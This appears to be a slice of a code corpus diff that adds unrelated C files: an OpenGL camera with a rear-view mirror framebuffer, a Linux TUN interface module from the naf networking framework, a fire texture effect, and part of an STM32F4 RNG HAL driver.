+float near = 0.1f;
+float far = 200.0f;
+
+vec3 targ, targ_inv;
+
+void init_cam () {
+	vec3 up;
+	
+	targ = cam_pos + vec3 (0.0f, 0.0f, -1.0f);
+	up = normalise (vec3 (0.0f, 1.0f, -0.1f));
+	V = look_at (cam_pos, targ, up);
+	cam_V_dirty = true;
+	
+	recalc_perspective ();
+	
+	//
+	// set up secondary render-to-texture framebuffer for the rear-vision mirror
+	// view
+	glGenFramebuffers (1, &cam_mirror_fb);
+	glBindFramebuffer (GL_FRAMEBUFFER, cam_mirror_fb);
+	// create depth texture (enabled depth-sorting in a secondary framebuffer)
+	GLuint depth_tex;
+	glGenTextures (1, &depth_tex);
+	glActiveTexture (GL_TEXTURE0);
+	glBindTexture (GL_TEXTURE_2D, depth_tex);
+	glTexImage2D (
+		GL_TEXTURE_2D,
+		0,
+		GL_DEPTH_COMPONENT,
+		CAM_TEX_WIDTH,
+		CAM_TEX_HEIGHT,
+		0,
+		GL_DEPTH_COMPONENT,
+		GL_UNSIGNED_BYTE,
+		NULL
+	);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
+	// attach depth texture to framebuffer
+	glFramebufferTexture2D (
+		GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depth_tex, 0);
+	// create texture
+	glGenTextures (1, &cam_mirror_tex);
+	glActiveTexture (GL_TEXTURE0);
+	glBindTexture (GL_TEXTURE_2D, cam_mirror_tex);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
+	glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
+	// make the texture the same size as the viewport
+	glTexImage2D (
+		GL_TEXTURE_2D,
+		0,
+		GL_SRGB_ALPHA,
+		CAM_TEX_WIDTH,
+		CAM_TEX_HEIGHT,
+		0,
+		GL_RGBA,
+		GL_UNSIGNED_BYTE,
+		NULL
+	);
+	// attach texture to fb
+	glFramebufferTexture2D (
+		GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, cam_mirror_tex, 0);
+	// redirect fragment shader output 0 used to the texture that we just bound
+	GLenum draw_bufs[] = { GL_COLOR_ATTACHMENT0 };
+	glDrawBuffers (1, draw_bufs);
+	// check for completeness
+	assert (verify_bound_framebuffer ());
+
+	// bind the default fb back
+	glBindFramebuffer (GL_FRAMEBUFFER, 0);
+
+	targ = cam_pos + vec3 (0.0f, 0.0f, -1.0);
+}
+
+void recalc_perspective () {
+	float aspect = 1.0f;
+	
+	aspect = (float)gl_width / (float)gl_height;
+	P = perspective (fovy, aspect, near, far);
+	cam_P_dirty = true;
+}
+
+void set_fovy (float _fovy) {
+	float aspect = 1.0f;
+	
+	fovy = _fovy;
+	aspect = (float)gl_width / (float)gl_height;
+	P = perspective (fovy, aspect, near, far);
+	cam_P_dirty = true;
+}
+
+void switch_to_rear_view () {
+	float aspect = 1.0f;
+	is_forward_cam = false;
+	
+	move_cam (cam_pos);
+	
+	aspect = 2.5f / 1.0f;
+	P = perspective (35.0f, aspect, near, far);
+	cam_P_dirty = true;
+	glFlush ();
+	glFinish ();
+	glBindFramebuffer (GL_FRAMEBUFFER, cam_mirror_fb);
+	glActiveTexture (GL_TEXTURE0);
+	glBindTexture (GL_TEXTURE_2D, 0);
+}
+
+void switch_to_front_view () {
+	is_forward_cam = true;
+	move_cam (cam_pos);
+	recalc_perspective ();
+	glFlush ();
+	glFinish ();
+	glBindFramebuffer (GL_FRAMEBUFFER, 0);
+}
+
+void move_cam (vec3 pos) {
+	if (is_forward_cam) {
+		V = look_at (pos, targ, vec3 (0.0f, 1.0f, 0.0f));
+	} else {
+		V = look_at (pos + vec3 (0.0f, 0.25f, 0.0f), targ_inv, vec3 (0.0f, 1.0f, 0.0f));
+	}
+	cam_pos = pos;
+	cam_V_dirty = true;
+}
+
+void set_heading (float deg) {
+	vec4 t = vec4 (0.0f, 0.0f, -1.0f, 1.0f);
+	targ = vec3 (rotate_y_deg (identity_mat4 (), deg) * t) + cam_pos;
+	t = vec4 (0.0f, 0.0f, 1.0f, 1.0f);
+	targ_inv = vec3 (rotate_y_deg (identity_mat4 (), deg) * t) + cam_pos;
+}
diff --git a/pool/shard001/C/0025735_linuxtun.c b/pool/shard001/C/0025735_linuxtun.c
new file mode 100644
index 0000000000000000000000000000000000000000..6037e15f011cb5d78131657454fe24d6bb82ad49
--- /dev/null
+++ b/pool/shard001/C/0025735_linuxtun.c
@@ -0,0 +1,247 @@
+/*
+ * naf - Networked Application Framework
+ * Copyright (c) 2003-2005 Adam Fritzler <mid@zigamorph.net>
+ *
+ * naf is free software; you can redistribute it and/or modify it under the
+ * terms of the GNU General Public License (version 2) as published by the Free
+ * Software Foundation.
+ *
+ * naf is distributed in the hope that it will be useful, but WITHOUT ANY
+ * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+#ifdef WIN32
+#include <configwin32.h>
+#endif
+
+#include <naf/nafmodule.h>
+
+#ifdef NAF_USEIPV4_LINUXTUN
+
+#include <naf/nafconfig.h>
+
+#include "../module.h" /* for naf_module__registerresident() */
+
+#include "net.h"
+#include "ipv4.h"
+#include "linuxtun.h"
+
+#ifdef HAVE_STDIO_H
+#include <stdio.h>
+#endif
+#ifdef HAVE_STRING_H
+#include <string.h>
+#endif
+#ifdef HAVE_STDLIB_H
+#include <stdlib.h>
+#endif
+#ifdef HAVE_ERRNO_H
+#include <errno.h>
+#endif
+#ifdef HAVE_SYS_IOCTL_H
+#include <sys/ioctl.h>
+#endif
+#ifdef HAVE_LINUX_NETDEVICE_H
+#include <linux/netdevice.h>
+#endif
+
+#include <linux/if_tun.h>
+
+
+#define NAF_LINUXTUN_DEBUG_DEFAULT 0
+static int naf_linuxtun__debug = NAF_LINUXTUN_DEBUG_DEFAULT;
+static struct nafmodule *naf_linuxtun__module = NULL;
+static struct nafnet_if *naf_linuxtun__if = NULL;
+static struct nafconn *naf_linuxtun__ifconn = NULL;
+
+static int
+outputfunc(struct nafmodule *caller, struct nafnet_if *iff, naf_sbuf_t *sb)
+{
+	naf_u8_t *buf;
+	int buflen;
+
+	if (iff != naf_linuxtun__if)
+		return -1;
+
+	/*
+	 * The proper sbuf way to do this would be getrawbuf(), but fuck that,
+	 * we already have the exact block we need.
+	 */
+	buf = sb->sbuf_buf;
+	buflen = sb->sbuf_buflen;
+	sb->sbuf_flags &= ~NAF_SBUF_FLAG_FREEBUF;
+
+	if (naf_conn_reqwrite(naf_linuxtun__ifconn, buf, buflen) == -1) {
+		naf_free(caller, buf);
+		return -1;
+	}
+	naf_sbuf_free(caller, sb);
+
+	return 0;
+}
+
+static int
+opentun(void)
+{
+	int fd;
+	struct ifreq ifr;
+
+	fd = open("/dev/net/tun", O_RDWR);
+	if (fd == -1) {
+		dvprintf(naf_linuxtun__module, "open(/dev/net/tun): %s\n", strerror(errno));
+		return -1;
+	}
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+	ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
+
+	if (ioctl(fd, TUNSETIFF, &ifr) == -1) {
+		dvprintf(naf_linuxtun__module, "ioctl(TUNSETIFF): %s\n", strerror(errno));
+		close(fd);
+		return -1;
+	}
+
+	dvprintf(naf_linuxtun__module, "opened Linux tun device %s\n", ifr.ifr_name);
+
+	naf_linuxtun__ifconn = naf_conn_addconn(naf_linuxtun__module,
+						fd,
+						NAF_CONN_TYPE_LOCAL|NAF_CONN_TYPE_READRAW);
+	naf_linuxtun__if = naf_net_if_add(naf_linuxtun__module, "lnx%d", outputfunc);
+
+	return 0;
+}
+
+static int
+connready(struct nafmodule *mod, struct nafconn *conn, naf_u16_t what)
+{
+
+	if (what & NAF_CONN_READY_WRITE) {
+		naf_u8_t *buf;
+		int buflen;
+
+		if (naf_conn_takewrite(conn, &buf, &buflen) == -1)
+			return -1;
+		naf_free(mod, buf);
+
+		return 0;
+	}
+
+	if (what & NAF_CONN_READY_READ) {
+		static naf_u8_t dg[65536];
+		int err;
+
+		err = read(conn->fdt->fd, dg, sizeof(dg));
+		if (err <= 0) {
+			dvprintf(naf_linuxtun__module, "error reading from tun device: %s\n", (err == 0) ? "EOF" : strerror(err));
+			naf_conn_schedulekill(conn);
+			return -1;
+		}
+
+		dvprintf(naf_linuxtun__module, "received %d octet datagram\n", err);
+		naf_ipv4_input(naf_linuxtun__module, naf_linuxtun__if, dg, err);
+
+		return 0;
+	}
+
+	return 0;
+}
+
+static int
+modinit(struct nafmodule *mod)
+{
+
+	naf_linuxtun__module = mod;
+
+	if (opentun() == -1)
+		dprintf(naf_linuxtun__module, "failed to open Linux TUN device\n");
+
+	return 0;
+}
+
+static int
+modshutdown(struct nafmodule *mod)
+{
+
+	if (naf_linuxtun__if)
+		naf_net_if_rem(mod, naf_linuxtun__if);
+	if (naf_linuxtun__ifconn)
+		naf_conn_schedulekill(naf_linuxtun__ifconn);
+
+	naf_linuxtun__module = NULL;
+
+	return 0;
+}
+
+static void
+freetag(struct nafmodule *mod, void *object, const char *tagname, char tagtype, void *tagdata)
+{
+	return;
+}
+
+static void
+signalhandler(struct nafmodule *mod, struct nafmodule *source, int signum)
+{
+
+	if (signum == NAF_SIGNAL_CONFCHANGE) {
+
+		NAFCONFIG_UPDATEINTMODPARMDEF(mod, "debug",
+					      naf_linuxtun__debug,
+					      NAF_LINUXTUN_DEBUG_DEFAULT);
+	}
+
+	return;
+}
+
+static void
+connkill(struct nafmodule *mod, struct nafconn *conn)
+{
+
+	if (conn == naf_linuxtun__ifconn) {
+		naf_net_if_rem(mod, naf_linuxtun__if);
+		naf_linuxtun__if = NULL;
+		naf_linuxtun__ifconn = NULL;
+	}
+
+	return;
+}
+
+static int
+modfirst(struct nafmodule *mod)
+{
+
+	naf_module_setname(mod, "linuxtun");
+	mod->init = modinit;
+	mod->shutdown = modshutdown;
+	mod->freetag = freetag;
+	mod->signal = signalhandler;
+	mod->connkill = connkill;
+	mod->connready = connready;
+
+	return 0;
+}
+
+int
+naf_linuxtun__register(void)
+{
+	return naf_module__registerresident("linuxtun", modfirst, NAF_MODULE_PRI_THIRDPASS);
+}
+
+#else /* NAF_USEIPV4_LINUXTUN */
+
+int
+naf_linuxtun__register(void)
+{
+	return 0;
+}
+
+#endif /* NAF_USEIPV4_LINUXTUN */
+
diff --git a/pool/shard001/C/0025737_fuego.c b/pool/shard001/C/0025737_fuego.c
new file mode 100644
index 0000000000000000000000000000000000000000..ead2757e6d636a4066701183d43dd825528c3989
--- /dev/null
+++ b/pool/shard001/C/0025737_fuego.c
@@ -0,0 +1,109 @@
+#include <malloc.h>     // malloc(), free()
+#include <stdlib.h>     // srand(), rand()  
+#include <assert.h>     // assert()
+
+#ifdef WIN32
+ #include <windows.h>
+#endif
+#include <GL/gl.h>
+#include <glt/glt.h>
+
+
+#include "fuego.h"
+#include "flame.h"
+
+
+void FUEGO_Start( FUEGO *f )
+{
+}
+
+void FUEGO_Stop( FUEGO *f )
+{
+}
+
+FUEGO *FUEGO_Init( int sem, int ancho, char *texture_id )
+{
+    int     i;
+    FUEGO   *f;
+
+    f = (FUEGO*)malloc( sizeof(FUEGO) );
+    assert( f!=NULL );
+
+
+    f->an = ancho;
+
+    f->velo1 = 1.0;
+    f->velo2 = 1.0;
+
+    f->text = (long*)malloc( ancho*ancho*4 );
+    assert( f->text!=NULL );
+
+    
+    i = FLAME_Init( &f->flame, ancho, sem );
+    assert( i );
+
+    f->tid = TEX_New (ancho, ancho, 32, f->text, TEX_BUILD_MIPMAPS);
+    assert (f->tid != NULL);
+    TEX_SetFilter (GL_LINEAR, GL_LINEAR);
+    TEX_SetWrap   (GL_CLAMP, GL_CLAMP);
+    CACHE_InsertTexture (texture_id, f->tid);
+
+    /*
+    glGenTextures( 1, &f->tid );
+
+    glBindTexture( GL_TEXTURE_2D, f->tid );
+    glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR );
+    glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR );
+    
+    glTexImage2D( GL_TEXTURE_2D, 0, 4, ancho, ancho, 0,
+                  GL_RGBA, GL_UNSIGNED_BYTE, f->text );
+*/
+
+    return( f );
+}
+
+
+
+
+void FUEGO_Draw( FUEGO *fuego, float t )
+{
+    FLAME_DoFrame( fuego->text, &fuego->flame, t*fuego->velo1, t*fuego->velo2 );
+    TEX_Bind (fuego->tid);
+    TEX_UpdateData (fuego->tid, fuego->text, TEX_BUILD_MIPMAPS);
+/*
+
+    glBindTexture( GL_TEXTURE_2D, fuego->tid );
+    glTexImage2D(  GL_TEXTURE_2D, 0,
+                   GL_RGBA8, fuego->an, fuego->an, 0,
+                   GL_RGBA, GL_UNSIGNED_BYTE, fuego->text );
+
+*/
+}
+
+void FUEGO_End( FUEGO *fuego )
+{
+    FLAME_Free( &fuego->flame );
+    //glDeleteTextures( 1, &fuego->tid );
+    CACHE_FreeTexture (fuego->tid);
+    free( fuego->text );
+    free( fuego );
+}
+
+
+void FUEGO_SetColor( FUEGO *f,
+                     int i1, int a1, int r1, int g1, int b1,
+                     int i2, int a2, int r2, int g2, int b2,
+                     int i3, int a3, int r3, int g3, int b3,
+                     int i4, int a4, int r4, int g4, int b4 )
+{
+    FLAME_SetColor( &f->flame,  i1, a1, r1, g1, b1,
+                                i2, a2, r2, g2, b2,
+                                i3, a3, r3, g3, b3,
+                                i4, a4, r4, g4, b4 );
+}
+
+void FUEGO_SetSpeed( FUEGO *f, float v1, float v2 )
+{
+    f->velo1 = v1;
+    f->velo2 = v2;
+}
diff --git a/pool/shard001/C/0025752_stm32f4xx_hal_rng.c b/pool/shard001/C/0025752_stm32f4xx_hal_rng.c
new file mode 100644
index 0000000000000000000000000000000000000000..05fb322eae34623b1b81834e8e61bb0164ddc21f
--- /dev/null
+++ b/pool/shard001/C/0025752_stm32f4xx_hal_rng.c
@@ -0,0 +1,515 @@
+/**
+  ******************************************************************************
+  * @file    stm32f4xx_hal_rng.c
+  * @author  MCD Application Team
+  * @version V1.3.0
+  * @date    09-March-2015
+  * @brief   RNG HAL module driver.
+  *          This file provides firmware functions to manage the following 
+  *          functionalities of the Random Number Generator (RNG) peripheral:
+  *           + Initialization/de-initialization functions
+  *           + Peripheral Control functions 
+  *           + Peripheral State functions
+  *         
+  @verbatim
+  ==============================================================================
+                     ##### How to use this driver #####
+  ==============================================================================
+  [..]
+      The RNG HAL driver can be used as follows:
+
+      (#) Enable the RNG controller clock using __HAL_RCC_RNG_CLK_ENABLE() macro 
+          in HAL_RNG_MspInit().
+      (#) Activate the RNG peripheral using HAL_RNG_Init() function.
+      (#) Wait until the 32 bit Random Number Generator contains a valid 
+          random data using (polling/interrupt) mode.   
+      (#) Get the 32 bit random number using HAL_RNG_GenerateRandomNumber() function.
+  
+  @endverbatim
+  ******************************************************************************
+  * @attention
+  *
+  * <h2><center>&copy; COPYRIGHT(c) 2015 STMicroelectronics</center></h2>
+  *
+  * Redistribution and use in source and binary forms, with or without modification,
+  * are permitted provided that the following conditions are met:
+  *   1. Redistributions of source code must retain the above copyright notice,
+  *      this list of conditions and the following disclaimer.
+  *   2. Redistributions in binary form must reproduce the above copyright notice,
+  *      this list of conditions and the following disclaimer in the documentation
+  *      and/or other materials provided with the distribution.
+  *   3. Neither the name of STMicroelectronics nor the names of its contributors
+  *      may be used to endorse or promote products derived from this software
+  *      without specific prior written permission.
+  *
+  * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+  * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+  * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+  * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+  * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+  * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+  *
+  ******************************************************************************
+  */ 
+
+/* Includes ------------------------------------------------------------------*/
+#include "stm32f4xx_hal.h"
+
+/** @addtogroup STM32F4xx_HAL_Driver
+  * @{
+  */
+
+/** @addtogroup RNG 
+  * @{
+  */
+
+#ifdef HAL_RNG_MODULE_ENABLED
+
+#if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) ||\
+    defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx)
+
+
+/* Private types -------------------------------------------------------------*/
+/* Private defines -----------------------------------------------------------*/
+/* Private variables ---------------------------------------------------------*/
+/* Private constants ---------------------------------------------------------*/
+/** @addtogroup RNG_Private_Constants
+  * @{
+  */
+#define RNG_TIMEOUT_VALUE     2
+/**
+  * @}
+  */ 
+/* Private macros ------------------------------------------------------------*/
+/* Private functions prototypes ----------------------------------------------*/
+/* Private functions ---------------------------------------------------------*/
+/* Exported functions --------------------------------------------------------*/
+
+/** @addtogroup RNG_Exported_Functions
+  * @{
+  */
+
+/** @addtogroup RNG_Exported_Functions_Group1
+ *  @brief   Initialization and de-initialization functions
+ *
+@verbatim
+ ===============================================================================
+          ##### Initialization and de-initialization functions #####
+ ===============================================================================
+    [..]  This section provides functions allowing to:
+      (+) Initialize the RNG according to the specified parameters 
+          in the RNG_InitTypeDef and create the associated handle
+      (+) DeInitialize the RNG peripheral
+      (+) Initialize the RNG MSP
+      (+) DeInitialize RNG MSP 
+
+@endverbatim
+  * @{
+  */
+  
+/**
+  * @brief  Initializes the RNG peripheral and creates the associated handle.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_RNG_Init(RNG_HandleTypeDef *hrng)
+{ 
+  /* Check the RNG handle allocation */
+  if(hrng == NULL)
+  {
+    return HAL_ERROR;
+  }
+  
+  __HAL_LOCK(hrng);
+  
+  if(hrng->State == HAL_RNG_STATE_RESET)
+  {  
+    /* Allocate lock resource and initialize it */
+    hrng->Lock = HAL_UNLOCKED;
+    /* Init the low level hardware */
+    HAL_RNG_MspInit(hrng);
+  }
+  
+  /* Change RNG peripheral state */
+  hrng->State = HAL_RNG_STATE_BUSY;
+
+  /* Enable the RNG Peripheral */
+  __HAL_RNG_ENABLE(hrng);
+
+  /* Initialize the RNG state */
+  hrng->State = HAL_RNG_STATE_READY;
+  
+  __HAL_UNLOCK(hrng);
+  
+  /* Return function status */
+  return HAL_OK;
+}
+
+/**
+  * @brief  DeInitializes the RNG peripheral. 
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_RNG_DeInit(RNG_HandleTypeDef *hrng)
+{ 
+  /* Check the RNG handle allocation */
+  if(hrng == NULL)
+  {
+    return HAL_ERROR;
+  }
+  /* Disable the RNG Peripheral */
+  CLEAR_BIT(hrng->Instance->CR, RNG_CR_IE | RNG_CR_RNGEN);
+  
+  /* Clear RNG interrupt status flags */
+  CLEAR_BIT(hrng->Instance->SR, RNG_SR_CEIS | RNG_SR_SEIS);
+  
+  /* DeInit the low level hardware */
+  HAL_RNG_MspDeInit(hrng);
+  
+  /* Update the RNG state */
+  hrng->State = HAL_RNG_STATE_RESET; 
+
+  /* Release Lock */
+  __HAL_UNLOCK(hrng);
+  
+  /* Return the function status */
+  return HAL_OK;
+}
+
+/**
+  * @brief  Initializes the RNG MSP.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval None
+  */
+__weak void HAL_RNG_MspInit(RNG_HandleTypeDef *hrng)
+{
+  /* NOTE : This function should not be modified. When the callback is needed,
+            function HAL_RNG_MspInit must be implemented in the user file.
+   */
+}
+
+/**
+  * @brief  DeInitializes the RNG MSP.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval None
+  */
+__weak void HAL_RNG_MspDeInit(RNG_HandleTypeDef *hrng)
+{
+  /* NOTE : This function should not be modified. When the callback is needed,
+            function HAL_RNG_MspDeInit must be implemented in the user file.
+   */
+}
+
+/**
+  * @}
+  */
+
+/** @addtogroup RNG_Exported_Functions_Group2
+ *  @brief   Peripheral Control functions 
+ *
+@verbatim   
+ ===============================================================================
+                      ##### Peripheral Control functions #####
+ ===============================================================================  
+    [..]  This section provides functions allowing to:
+      (+) Get the 32 bit Random number
+      (+) Get the 32 bit Random number with interrupt enabled
+      (+) Handle RNG interrupt request 
+
+@endverbatim
+  * @{
+  */
+   
+/**
+  * @brief  Generates a 32-bit random number.
+  * @note   Each time the random number data is read the RNG_FLAG_DRDY flag 
+  *         is automatically cleared.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @param  random32bit: pointer to generated random number variable if successful.
+  * @retval HAL status
+  */
+
+HAL_StatusTypeDef HAL_RNG_GenerateRandomNumber(RNG_HandleTypeDef *hrng, uint32_t *random32bit)
+{
+  uint32_t tickstart = 0;    
+  HAL_StatusTypeDef status = HAL_OK;
+
+  /* Process Locked */
+  __HAL_LOCK(hrng); 
+  
+  /* Check RNG peripheral state */
+  if(hrng->State == HAL_RNG_STATE_READY)
+  {
+    /* Change RNG peripheral state */  
+    hrng->State = HAL_RNG_STATE_BUSY;  
+
+    /* Get tick */
+    tickstart = HAL_GetTick();
+  
+    /* Check if data register contains valid random data */
+    while(__HAL_RNG_GET_FLAG(hrng, RNG_FLAG_DRDY) == RESET)
+    {
+      if((HAL_GetTick() - tickstart ) > RNG_TIMEOUT_VALUE)
+      {    
+        hrng->State = HAL_RNG_STATE_ERROR;
+
+        /* Process Unlocked */
+        __HAL_UNLOCK(hrng);
+      
+        return HAL_TIMEOUT;
+      } 
+    }
+  
+    /* Get a 32bit Random number */
+    hrng->RandomNumber = hrng->Instance->DR;
+    *random32bit = hrng->RandomNumber;
+  
+    hrng->State = HAL_RNG_STATE_READY;
+  }
+  else
+  {
+    status = HAL_ERROR;
+  }
+  
+  /* Process Unlocked */
+  __HAL_UNLOCK(hrng);
+  
+  return status;
+}
+
+/**
+  * @brief  Generates a 32-bit random number in interrupt mode.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_RNG_GenerateRandomNumber_IT(RNG_HandleTypeDef *hrng)
+{
+  HAL_StatusTypeDef status = HAL_OK;
+  
+  /* Process Locked */
+  __HAL_LOCK(hrng);
+  
+  /* Check RNG peripheral state */
+  if(hrng->State == HAL_RNG_STATE_READY)
+  {
+    /* Change RNG peripheral state */  
+    hrng->State = HAL_RNG_STATE_BUSY;  
+  
+    /* Process Unlocked */
+    __HAL_UNLOCK(hrng);
+    
+    /* Enable the RNG Interrupts: Data Ready, Clock error, Seed error */ 
+    __HAL_RNG_ENABLE_IT(hrng);
+  }
+  else
+  {
+    /* Process Unlocked */
+    __HAL_UNLOCK(hrng);
+    
+    status = HAL_ERROR;
+  }
+  
+  return status;
+}
+
+/**
+  * @brief  Handles RNG interrupt request.
+  * @note   In the case of a clock error, the RNG is no more able to generate 
+  *         random numbers because the PLL48CLK clock is not correct. User has 
+  *         to check that the clock controller is correctly configured to provide
+  *         the RNG clock and clear the CEIS bit using __HAL_RNG_CLEAR_IT(). 
+  *         The clock error has no impact on the previously generated 
+  *         random numbers, and the RNG_DR register contents can be used.
+  * @note   In the case of a seed error, the generation of random numbers is 
+  *         interrupted as long as the SECS bit is '1'. If a number is 
+  *         available in the RNG_DR register, it must not be used because it may 
+  *         not have enough entropy. In this case, it is recommended to clear the 
+  *         SEIS bit using __HAL_RNG_CLEAR_IT(), then disable and enable 
+  *         the RNG peripheral to reinitialize and restart the RNG.
+  * @note   User-written HAL_RNG_ErrorCallback() API is called once whether SEIS
+  *         or CEIS are set.  
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval None
+
+  */
+void HAL_RNG_IRQHandler(RNG_HandleTypeDef *hrng)
+{
+  /* RNG clock error interrupt occurred */
+  if((__HAL_RNG_GET_IT(hrng, RNG_IT_CEI) != RESET) ||  (__HAL_RNG_GET_IT(hrng, RNG_IT_SEI) != RESET))
+  { 
+    /* Change RNG peripheral state */
+    hrng->State = HAL_RNG_STATE_ERROR;
+  
+    HAL_RNG_ErrorCallback(hrng);
+    
+    /* Clear the clock error flag */
+    __HAL_RNG_CLEAR_IT(hrng, RNG_IT_CEI|RNG_IT_SEI);
+    
+  }
+  
+  /* Check RNG data ready interrupt occurred */    
+  if(__HAL_RNG_GET_IT(hrng, RNG_IT_DRDY) != RESET)
+  {
+    /* Generate random number once, so disable the IT */
+    __HAL_RNG_DISABLE_IT(hrng);
+    
+    /* Get the 32bit Random number (DRDY flag automatically cleared) */ 
+    hrng->RandomNumber = hrng->Instance->DR;
+    
+    if(hrng->State != HAL_RNG_STATE_ERROR)
+    {
+      /* Change RNG peripheral state */
+      hrng->State = HAL_RNG_STATE_READY; 
+      
+      /* Data Ready callback */ 
+      HAL_RNG_ReadyDataCallback(hrng, hrng->RandomNumber);
+    } 
+  }
+} 
+
+/**
+  * @brief  Returns generated random number in polling mode (Obsolete)
+  *         Use HAL_RNG_GenerateRandomNumber() API instead.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval Random value
+  */
+uint32_t HAL_RNG_GetRandomNumber(RNG_HandleTypeDef *hrng)
+{
+  if(HAL_RNG_GenerateRandomNumber(hrng, &(hrng->RandomNumber)) == HAL_OK)
+  {
+    return hrng->RandomNumber; 
+  }
+  else
+  {
+    return 0;
+  }
+}
+
+/**
+  * @brief  Returns a 32-bit random number with interrupt enabled (Obsolete),
+  *         Use HAL_RNG_GenerateRandomNumber_IT() API instead.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval 32-bit random number
+  */
+uint32_t HAL_RNG_GetRandomNumber_IT(RNG_HandleTypeDef *hrng)
+{
+  uint32_t random32bit = 0;
+  
+  /* Process locked */
+  __HAL_LOCK(hrng);
+  
+  /* Change RNG peripheral state */  
+  hrng->State = HAL_RNG_STATE_BUSY;  
+  
+  /* Get a 32bit Random number */ 
+  random32bit = hrng->Instance->DR;
+  
+  /* Enable the RNG Interrupts: Data Ready, Clock error, Seed error */ 
+  __HAL_RNG_ENABLE_IT(hrng); 
+  
+  /* Return the 32 bit random number */   
+  return random32bit;
+}
+
+/**
+  * @brief  Read latest generated random number. 
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval random value
+  */
+uint32_t HAL_RNG_ReadLastRandomNumber(RNG_HandleTypeDef *hrng)
+{
+  return(hrng->RandomNumber);
+}
+
+/**
+  * @brief  Data Ready callback in non-blocking mode. 
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @param  random32bit: generated random number.
+  * @retval None
+  */
+__weak void HAL_RNG_ReadyDataCallback(RNG_HandleTypeDef *hrng, uint32_t random32bit)
+{
+  /* NOTE : This function should not be modified. When the callback is needed,
+            function HAL_RNG_ReadyDataCallback must be implemented in the user file.
+   */
+}
+
+/**
+  * @brief  RNG error callbacks.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
+  *                the configuration information for RNG.
+  * @retval None
+  */
+__weak void HAL_RNG_ErrorCallback(RNG_HandleTypeDef *hrng)
+{
+  /* NOTE : This function should not be modified. When the callback is needed,
+            function HAL_RNG_ErrorCallback must be implemented in the user file.
+   */
+}
+/**
+  * @}
+  */ 
+
+  
+/** @addtogroup RNG_Exported_Functions_Group3
+ *  @brief   Peripheral State functions 
+ *
+@verbatim   
+ ===============================================================================
+                      ##### Peripheral State functions #####
+ ===============================================================================  
+    [..]
+    This subsection permits to get in run-time the status of the peripheral 
+    and the data flow.
+
+@endverbatim
+  * @{
+  */
+  
+/**
+  * @brief  Returns the RNG state.
+  * @param  hrng: pointer to a RNG_HandleTypeDef structure that contains
